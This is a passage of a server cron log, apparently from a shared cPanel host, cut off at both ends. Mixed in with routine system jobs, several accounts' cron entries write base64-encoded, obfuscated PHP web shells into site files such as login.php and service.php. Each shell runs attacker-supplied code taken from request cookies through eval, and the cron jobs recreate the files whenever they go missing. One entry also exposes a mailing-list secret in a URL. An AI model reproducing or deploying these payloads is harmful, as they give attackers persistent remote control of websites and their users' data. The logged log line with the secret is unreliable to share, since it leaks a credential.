bSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:16:01 medusa CROND[3823]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:16:01 medusa CROND[3824]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:16:01 medusa CROND[3825]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:16:02 medusa CROND[3834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:16:02 medusa CROND[3836]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:16:02 medusa CROND[3837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:16:02 medusa CROND[3839]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:16:02 medusa CROND[3841]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:16:02 medusa CROND[3842]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:16:02 medusa CROND[3856]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:16:02 medusa CROND[3855]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:16:02 medusa CROND[3854]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:17:02 medusa CROND[5578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:17:02 medusa CROND[5579]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:17:02 medusa CROND[5580]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:17:02 medusa CROND[5581]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 06:17:02 medusa CROND[5582]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:17:02 medusa CROND[5583]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:17:02 medusa CROND[5584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:17:02 medusa CROND[5586]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:17:02 medusa CROND[5588]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:17:02 medusa CROND[5589]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:17:02 medusa CROND[5585]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:17:02 medusa CROND[5604]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:17:02 medusa CROND[5606]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:18:02 medusa CROND[7436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:18:02 medusa CROND[7450]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:18:02 medusa CROND[7451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:18:02 medusa CROND[7453]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:18:02 medusa CROND[7454]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 06:18:02 medusa CROND[7455]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:18:02 medusa CROND[7461]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:18:02 medusa CROND[7463]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:18:02 medusa CROND[7464]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:18:02 medusa CROND[7465]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeV